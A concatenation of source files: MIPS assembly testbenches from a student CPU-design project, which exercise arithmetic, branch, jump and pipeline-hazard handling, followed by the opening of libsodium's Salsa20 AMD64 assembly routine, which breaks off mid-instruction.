la $24, skip84 jalr $21, $24 nop skip84: addi $24, $21, 20 nop jr $24 nop sw $24, 336($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $29, skip85 jalr $28, $29 nop skip85: nop addi $29, $28, 24 nop jr $29 nop sw $29, 340($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip86 addi $12, $31, 20 skip86: nop nop jr $12 nop sw $12, 344($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip87 jalr $8, $19 nop skip87: addi $19, $8, 24 nop nop jr $19 nop sw $19, 348($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $25, skip88 jalr $17, $25 nop skip88: nop addi $25, $17, 28 nop nop jr $25 nop sw $25, 352($0) mflo $2 addu $2, $2, $4 dl: j dl nop # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	6,695	TESTBENCH/testbench_wh_3.s	.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # # 用nop和ori指令作为开始标志 # start code # 3400 0000 3400 0000 # ori $0, $0, 0x0000 # ori $0, $0, 0x0000 # 注意由于，编译装入问题，此处不用原先指令开头 # 3403 8000 # ori $3, $0, 0x8000 # 此处开始书写代码 .org 0x0000 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 nop nop beq $23, $8, skip22 nop sw $23, 88($0) skip22: jr $13 nop sw $2, 284($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $8, skip23 jalr $10, $8 nop skip23: addu $8, $10, $1 jr $8 nop sw $2, 288($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip24 nop skip24: nop addu $13, $31, $1 jr $13 nop sw $2, 292($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $9, skip25 jalr $15, $9 addu $9, $15, $1 skip25: nop jr $9 nop sw $2, 296($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip26 nop skip26: addu $24, $31, $1 nop jr $24 nop sw $2, 300($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 la $13, skip27 jalr $26, $13 nop skip27: nop addu $13, $26, $1 nop jr $13 nop sw $2, 304($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip28 addu $14, $31, $1 skip28: nop nop jr $14 nop sw $2, 308($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 jal skip29 nop skip29: addu $22, $31, $1 nop nop jr $22 nop sw $2, 312($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 28 jal skip30 nop skip30: nop addu $15, $31, $1 nop nop jr $15 nop sw $2, 316($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip31 addi $23, $31, 12 skip31: jr $23 nop sw $23, 320($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip32 jalr $15, $19 nop skip32: addi $19, $15, 16 jr $19 nop sw $19, 324($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip33 nop skip33: nop addi $10, $31, 20 jr $10 nop sw $10, 328($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $11, skip34 jalr $23, $11 addi $11, $23, 16 skip34: nop jr $11 nop sw $11, 332($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $24, skip35 jalr $21, $24 nop skip35: addi $24, $21, 20 nop jr $24 nop sw $24, 336($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $29, skip36 jalr $28, $29 nop skip36: nop addi $29, $28, 24 nop jr $29 nop sw $29, 340($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip37 addi $12, $31, 20 skip37: nop nop jr $12 nop sw $12, 344($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip38 jalr $8, $19 nop skip38: addi $19, $8, 24 nop nop jr $19 nop sw $19, 348($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $25, skip39 jalr $17, $25 nop skip39: nop addi $25, $17, 28 nop nop jr $25 nop sw $25, 352($0) mflo $2 addu $2, $2, $4 dl: j dl # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	1,956	TESTBENCH/testbench_lhx.s	.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ori $3, $0, 0x8000 # [1] $3 = 0x00008000 sll $3, 16 # [2] $3左移16位，$3 = 0x80000000 ori $1, $0, 0x0001 # [3] $1 = 0x1 b s1 # [4] 转移到s1处 ori $1, $0, 0x0002 # [5] $1 = 0x2,延迟槽指令 b1: ori $1, $0, 0x1111 ori $1, $0, 0x1100 .org 0x20 s1 : ori $1, $0, 0x0004 # [6] $1 = 0x4 movz $2, $1, $0 # [7] $2 = $1 = 0x4 bal s2 # [8] 转移到s2处，同时设置$31为0x30 srlv $3, $3, $1 # [9] $3右移 $1 = 0x4 位,$3 = 0x08000000，延迟槽指令 ori $1, $0, 0x1100 # 地址为0x30，保存在$31中 ori $1, $0, 0x1111 bne $1, $0, s3 nop ori $1, $0, 0x1100 ori $1, $0, 0x1111 .org 0x50 s2: ori $1, $0, 0x0003 # [10] $1 = 0x3 beq $3, $3, s3 # [11] $3等于$3，发生转移，目的地址是s3 or $1, $31, $0 # [12] $1 = 0x30,延迟槽指令 ori $1, $0, 0x1111 ori $1, $0, 0x1100 b2: addi $2, $1, 0x0015 # [16] $2 = $1(0x6) + 0x15 = 0x1b ori $1, $0, 0x2 # [17] $1 = 0x2, mul $4, $1, $2 # [18] $4 = $1(0x6) * $2(0x1b) ori $1, $1, 0xffff sll $1, $1, 16 addi $1, $1, 0xffe3 bgtz $2, s4 # [19] 此时$1为0x8，大于0，所以转移至标号s4处 addi $1, $1, 0x1000 .org 0x90 s3: ori $1, $0, 0x0005 # [13] $1 = 0x5 bgez $1, b2 # [14] 此时$1为0x5 大于0,转移至前面的b2处 ori $1, $0, 0x0006 # [15] $1 = 0x6，延迟槽指令 ori $1, $0, 0x1111 ori $1, $0, 0x1100 nop s4: ori $2, $0, 0xffff # [20] $2 = 0x0000ffff sll $2, $2, 16 # $2 = 0xffff0000 ori $2, $2, 0xfff1 # $2 = -15 (0xfffffff1) ori $3, $0, 0x11 # $3 = 17 (0x00000011) div $0, $2, $3 # hi = 0xfffffff1 # lo = 0x0 divu $0, $2, $3 # hi = 0x00000003 # lo = 0x0f0f0f0e div $0, $3, $2 # hi = 0x02 # lo = 0xffffffff # next0: j next0 # [21] 指令运行结束，等待退出 nop # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	1,530	TESTBENCH/code_temp.s	# Test File for 40 Instruction, include: # 1. Subset 1: # ADD/SUB/SLL/SRL/SRA/SLLV/SRLV/SRAV/AND/OR/XOR/NOR/ # SLT 12 # 2. Subset 2: # ADDI/ANDI/ORI/XORI/LUI/SLTI 6 # 3. Subset 3: # LB/LH/LW/SB/SH/SW 6 # 4. Subset 4: # BEQ/BNE/BGEZ/BGTZ/BLEZ/BLTZ 6 # 5. Subset 5: # J/JAL/JR/JALR 4 # 6. Subset 6: # MULT/DIV/MFLO/MFHI/MTLO/MTHI 6 # 40 ################################################################## ### Make sure following Settings : # Settings -> Memory Configuration -> Compact, Data at address 0 # Settings -> Delayed branching .org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ################## # Test Subset 2 # ori $v0, $0, 0x1234 lui $v1, 0x9876 addi $a0, $v0, 0x3456 addi $a1, $v1, -1024 xori $a2, $v0, 0xabcd slti $a1, $a0, 0x34 slti $a1, $v0, -1 andi $a3, $a2, 0x7654 slti $t0, $v1, 0x1234 ################## # Test Subset 1 # sub $t0, $v1, $v0 xor $t1, $t0, $v1 add $t2, $t1, $t0 add $t2, $t2, $v0 sub $t3, $t2, $v1 nor $t4, $t3, $t2 or $t5, $t3, $t2 and $t6, $t3, $t2 slt $s3, $t5, $t4 slt $s4, $t5, $t4 ### Test for shift sll $t0, $t0, 3 srl $t1, $t0, 16 sra $t2, $t0, 29 addi $t3, $0, 0x3410 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	6,232	TESTBENCH/P6_hazard.s	# Test File for 40 Instruction, include: # 1. Subset 1: # ADD/SUB/SLL/SRL/SRA/SLLV/SRLV/SRAV/AND/OR/XOR/NOR/ # SLT 12 # 2. Subset 2: # ADDI/ANDI/ORI/XORI/LUI/SLTI 6 # 3. Subset 3: # LB/LH/LW/SB/SH/SW 6 # 4. Subset 4: # BEQ/BNE/BGEZ/BGTZ/BLEZ/BLTZ 6 # 5. Subset 5: # J/JAL/JR/JALR 4 # 6. Subset 6: # MULT/DIV/MFLO/MFHI/MTLO/MTHI 6 # 40 ################################################################## ### Make sure following Settings : # Settings -> Memory Configuration -> Compact, Data at address 0 # Settings -> Delayed branching .org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ### initial the sp & var xor $gp, $0, $0 ori $k0, $0, 0x01 ori $k1, $0, 0x04 ori $sp, $0, 0x20 sw $sp, 0($0) add $s6, $0, $0 add $s7, $0, $0 #### No.1 Instr-sequence addi $a0, $0, 0x0f0f addi $a1, $a0, 0x0080 # I.E_RS -- Cal.M xori $a2, $a0, 0x8111 # I.E_RS -- Cal.W ori $a3, $a0, 0x0040 ## after every hazard, save the result for checking sw $a1, 0($sp) add $sp, $sp, $k1 sh $a2, 2($sp) # Store.M_Rt -- Cal.W add $sp, $k1, $sp # R.E_Rt -- Cal.W sb $a3, 3($sp) add $t1, $k1, $0 add $sp, $t1, $sp # R.E_Rt -- Cal.M #### No.2 Instr-sequence lh $t0, 0x26($0) sra $t1, $t0, 4 # I.E_RS -- Load.M & I.E_RS -- Load.W sb $t1, 3($sp) add $sp, $sp, $k1 #### No.3 Instr-sequence jal f1 # I.E_RS -- Jal.W add $s7, $s7, $k0 sw $t1, 0($sp) add $sp, $sp, $k1 #### No.4 Instr-sequence add $t1, $t1, $t0 sub $t2, $t1, $t0 # R.E_RS -- Cal.M srlv $t3, $t1, $t0 # R.E_RS -- Cal.W sh $t2, 0($sp) sb $t3, 5($sp) add $sp, $sp, $k1 add $sp, $sp, $k1 #### No.5 Instr-sequence ori $t1, $0, 0x4 sw $a0, 0($t1) # Store.E_RS -- Cal.M sw $a1, 4($t1) # Store.E_RS -- Cal.W #### No.6 Instr-sequence ori $t2, $0, 0x8 lb $t1, 0($t2) # Load.E_RS -- Cal.M lh $t3, -4($t2) # Load.E_RS -- Cal.W sw $t1, 0($sp) add $sp, $sp, $k1 sw $t3, 0($sp) add $sp, $sp, $k1 #### No.7 Instr-sequence lw $t0, -12($sp) bgez $t0, _lbl_1 # Br.D_RS -- Load.E & Br.D_RS -- Load.M & Br.D_RS -- Load.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.8 Instr-sequence _lbl_1: lw $t0, -4($sp) bne $t0, $t3, _lbl_2 # Br.D_RT -- Load.E & Br.D_RT -- Load.M & Br.D_RT -- Load.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.9 Instr-sequence _lbl_2: add $t0, $a1, $0 add $t1, $a0, $0 bne $t1, $t0, _lbl_3 # Br.D_RS -- Cal.E && Br.D_RS -- Cal.M && Br.D_RT -- Cal.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.10 Instr-sequence _lbl_3: addi $t0, $a2, -10 sllv $t1, $a0, $t0 bltz $t1, _lbl_5 # Br.D_RT -- Cal.E && Br.D_RT -- Cal.M && Br.D_RS -- Cal.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.11 Instr-sequence _lbl_5: lw $t0, -8($sp) srlv $t1, $t0, $t0 # R.E_RS -- Load.M & R.E_RS -- Load.W & R.E_RT -- Load.M & R.E_RT -- Load.W sw $t1, 0($sp) add $sp, $sp, $k1 #### No.12 Instr-sequence lw $t0, 0($0) lw $t1, 0($t0) # Load.E_RS -- Load.M & Load.E_RS -- Load.W sw $t1, 0($sp) add $sp, $sp, $k1 #### No.13 Instr-sequence sw $sp, 0($0) # prepare for next hazard add $sp, $sp, $k1 lw $t0, 0($0) sw $t0, 0($t0) # Store.E_RS -- Load.M & Store.E_RS -- Load.W & STORE.M_RT -- Load.W #### No.14 Instr-sequence jal f2 add $s7, $s7, $k0 #### No.15 Instr-sequence add $t1, $ra, $0 addi $t0, $0, 24 add $t1, $t1, $t0 add $t9, $0, $0 jal f3 add $s7, $s7, $k0 #### No.16 Instr-sequence ori $t0, $0, 212 add $t1, $ra, $t0 jal f4 add $s7, $s7, $k0 #### No.17 Instr-sequence addi $t0, $0, 80 add $t1, $ra, $t0 jal f5 add $s7, $s7, $k0 #### No.18 Instr-sequence jal f6 add $s7, $s7, $k0 #### No.19 Instr-sequence jal f7 add $s7, $s7, $k0 #### No.20 Instr-sequence jal f8 add $s7, $s7, $k0 #### No.21 Instr-sequence jal f10 add $s7, $s7, $k0 #### No.22 Instr-sequence la $t0, f11 jalr $t0 # JALR.D_RS -- Cal.E & JALR.D_RS -- Cal.M add $s7, $s7, $k0 #### No.23 Instr-sequence sw $t0, 0($sp) add $sp, $sp, $k1 lw $t1, -4($sp) jalr $t1 # JALR.D_RS -- Load.E add $s7, $s7, $k0 #### No.24 Instr-sequence lw $t0, -4($sp) lw $t1, -8($sp) mult $t0, $t1 mflo $t2 div $t1, $t0 mfhi $t3 sw $t2, 0($sp) add $sp, $sp, $k1 sw $t3, 0($sp) add $sp, $sp, $k1 ### store delay slot counter ### sw $s7, 0($sp) add $sp, $sp, $k1 sw $s6, 0($sp) add $sp, $sp, $k1 _loop: j _loop nop nop ### Function List ### f1: andi $t1, $31, 0x56 # I.E_RS -- Jal.W jr $31 add $s7, $s7, $k0 add $t9, $0, $0 f2: lh $t1, -0x3102($ra) # Load.E_Rs -- Jal.W sw $t1, 0($sp) add $sp, $sp, $k1 jr $31 add $s7, $s7, $k0 add $t9, $0, $0 f3: add $t9, $0, $0 beq $t1, $ra, _f3_lbl # Br.D_RS -- Jal.W add $s7, $s7, $k0 add $s6, $s6, $k0 _f3_lbl: jr $ra add $s7, $s7, $k0 add $t9, $0, $0 f4: beq $t1, $ra, _f4_lbl # Br.D_RS -- Jal.M add $s7, $s7, $k0 add $s6, $s6, $k0 _f4_lbl: jr $ra add $s7, $s7, $k0 add $t9, $0, $0 f5: beq $ra, $t1, _f5_lbl # Br.D_RT -- Jal.M add $s7, $s7, $k0 add $s6, $s6, $k0 _f5_lbl: jr $ra add $s7, $s7, $k0 f6: add $t0, $ra, $ra # R.E_RS -- Jal.W & R.E_RT -- Jal.W sw $t0, 0($sp) add $sp, $sp, $k1 jr $ra add $s7, $s7, $k0 f7: sw $sp, -0x3160($ra) # Store.E_Rs -- Jal.W jr $ra add $s7, $s7, $k0 f8: sw $ra, 0($sp) add $sp, $sp, $k1 sub $ra, $ra, $k1 jal f9 add $s7, $s7, $k0 lw $ra, -8($sp) # jr.D_Rs -- Load.E & jr.D_Rs -- Load.M & jr.D_Rs -- Load.W jr $ra # jr.D_RS -- Jal.M add $s7, $s7, $k0 f9: sw $ra, 0($sp) add $sp, $sp, $k1 ori $t0, $0, 8 add $ra, $ra, $t0 add $t9, $0, $0 add $t9, $0, $0 sub $ra, $ra, $t0 # jr.D_Rs -- Cal.E & jr.D_Rs -- Cal.M jr $ra add $s7, $s7, $k0 f10: ori $t0, $0, 0x3000 sub $ra, $ra, $t0 sw $ra, 0($sp) add $sp, $sp, $k1 ori $ra, $ra, 0x3000 jr $ra # jr.D_RS -- Jal.M add $s7, $s7, $k0 f11: sw $ra, 0($sp) add $sp, $sp, $k1 jr $ra add $s7, $s7, $k0 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
25th-engineer/HFUT_2020_MIPS_CPU	4,316	TESTBENCH/testbench_wh_1.s	.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # # 用nop和ori指令作为开始标志 # start code # 3400 0000 3400 0000 # ori $0, $0, 0x0000 # ori $0, $0, 0x0000 # 注意由于，编译装入问题，此处不用原先指令开头 # 3403 8000 # ori $3, $0, 0x8000 # 此处开始书写代码 .org 0x0000 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000
281677160/openwrt-package	18,086	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_stream/salsa20/amd64_xmm6/stream_salsa20_amd64_xmm6.S	#ifdef HAVE_AMD64_ASM .text .p2align 5 .globl crypto_stream_salsa20 .globl _crypto_stream_salsa20 #ifdef __ELF__ .type crypto_stream_salsa20, @function .type _crypto_stream_salsa20, @function #endif crypto_stream_salsa20: _crypto_stream_salsa20: mov %rsp,%r11 and $31,%r11 add $512,%r11 sub %r11,%rsp movq %r11,416(%rsp) movq %r12,424(%rsp) movq %r13,432(%rsp) movq %r14,440(%rsp) movq %r15,448(%rsp) movq %rbx,456(%rsp) movq %rbp,464(%rsp) mov %rsi,%r9 mov %rdi,%rdi mov %rdi,%rsi mov %rdx,%rdx mov %rcx,%r10 cmp $0,%r9 jbe ._done mov $0,%rax mov %r9,%rcx rep stosb sub %r9,%rdi movq $0,472(%rsp) jmp ._start .text .p2align 5 .globl crypto_stream_salsa20_xor_ic .globl _crypto_stream_salsa20_xor_ic #ifdef __ELF__ .type crypto_stream_salsa20_xor_ic, @function .type _crypto_stream_salsa20_xor_ic, @function #endif crypto_stream_salsa20_xor_ic: _crypto_stream_salsa20_xor_ic: mov %rsp,%r11 and $31,%r11 add $512,%r11 sub %r11,%rsp movq %r11,416(%rsp) movq %r12,424(%rsp) movq %r13,432(%rsp) movq %r14,440(%rsp) movq %r15,448(%rsp) movq %rbx,456(%rsp) movq %rbp,464(%rsp) mov %rdi,%rdi mov %rsi,%rsi mov %r9,%r10 movq %r8,472(%rsp) mov %rdx,%r9 mov %rcx,%rdx cmp $0,%r9 jbe ._done ._start: movl 20(%r10),%ecx movl 0(%r10),%r8d movl 0(%rdx),%eax movl 16(%r10),%r11d movl %ecx,64(%rsp) movl %r8d,4+64(%rsp) movl %eax,8+64(%rsp) movl %r11d,12+64(%rsp) movl 24(%r10),%r8d movl 4(%r10),%eax movl 4(%rdx),%edx movq 472(%rsp),%rcx movl %ecx,80(%rsp) movl %r8d,4+80(%rsp) movl %eax,8+80(%rsp) movl %edx,12+80(%rsp) movl 12(%r10),%edx shr $32,%rcx movl 28(%r10),%r8d movl 8(%r10),%eax movl %edx,96(%rsp) movl %ecx,4+96(%rsp) movl %r8d,8+96(%rsp) movl %eax,12+96(%rsp) mov $1634760805,%rdx mov $857760878,%rcx mov $2036477234,%r8 mov $1797285236,%rax movl %edx,112(%rsp) movl %ecx,4+112(%rsp) movl %r8d,8+112(%rsp) movl %eax,12+112(%rsp) cmp $256,%r9 jb ._bytesbetween1and255 movdqa 112(%rsp),%xmm0 pshufd $0x55,%xmm0,%xmm1 pshufd $0xaa,%xmm0,%xmm2 pshufd $0xff,%xmm0,%xmm3 pshufd $0x00,%xmm0,%xmm0 movdqa %xmm1,128(%rsp) movdqa %xmm2,144(%rsp) movdqa %xmm3,160(%rsp) movdqa %xmm0,176(%rsp) movdqa 64(%rsp),%xmm0 pshufd $0xaa,%xmm0,%xmm1 pshufd $0xff,%xmm0,%xmm2 pshufd $0x00,%xmm0,%xmm3 pshufd $0x55,%xmm0,%xmm0 movdqa %xmm1,192(%rsp) movdqa %xmm2,208(%rsp) movdqa %xmm3,224(%rsp) movdqa %xmm0,240(%rsp) movdqa 80(%rsp),%xmm0 pshufd $0xff,%xmm0,%xmm1 pshufd $0x55,%xmm0,%xmm2 pshufd $0xaa,%xmm0,%xmm0 movdqa %xmm1,256(%rsp) movdqa 